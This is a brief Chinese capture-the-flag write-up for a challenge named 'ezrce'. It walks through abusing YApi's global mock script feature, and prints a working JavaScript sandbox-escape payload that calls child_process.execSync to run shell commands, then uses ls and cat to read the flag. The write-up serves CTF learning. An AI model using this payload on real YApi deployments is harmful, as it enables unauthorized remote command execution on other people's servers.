ezrce

打开链接,如图,有注册登录的界面,一开始想到的是sql注入,但是发现并不是

百度了一下才知道是YApi漏洞

https://blog.csdn.net/Trouble_99/article/details/118667625

这个yapi的漏洞,可以通过JS脚本直接远程执行命令。

先注册一个账号,然后登录,登录后新建一个项目

ezrce

 

然后在设置里设置全局mock脚本

ezrce

 

ezrce

JS代码如下:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ls").toString()

接下来添加接口

ezrce

 然后访问该地址

ezrce

命令执行成功,如下

ezrce

然后查找flag,使用命令ls ../../,发现flag

ezrce

 然后使用命令cat ../../ffffffflllllaggggg,查看flag

 ezrce

 

上一篇:SpriteSheet精灵动画引擎


下一篇:自定义路径创建Cocos2d-x项目